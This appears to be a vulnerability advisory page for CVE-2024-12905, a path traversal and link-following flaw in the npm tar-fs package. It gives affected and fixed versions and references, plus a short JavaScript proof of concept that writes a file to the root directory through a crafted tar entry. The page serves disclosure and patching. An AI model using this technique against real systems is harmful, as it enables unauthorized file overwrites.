tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
PoC
// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
// We can ignore the file type checks to allow the extraction of the malicious file
ignore: (name) => false,
});
// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
throw err;
});
// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));
// Finalize the tar stream
tarStream.finalize();
// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | tar-fs | < 1.16.4, >= 2.0.0, < 2.1.2, >= 3.0.0, < 3.0.7 | 1.16.4, 2.1.2, 3.0.7 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-12905
- https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed
- https://arxiv.org/abs/2506.04962
- https://arxiv.org/pdf/2506.04962
- https://github.com/mafintosh/tar-fs
- https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html
- https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
tar-fs- Disclosed
- 27.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-pq67-2wwv-3xjx - CC BY 4.0
Vulnerability history: tar-fs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 05.2019 09.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 4
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 3
- 2026: 0
-
tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.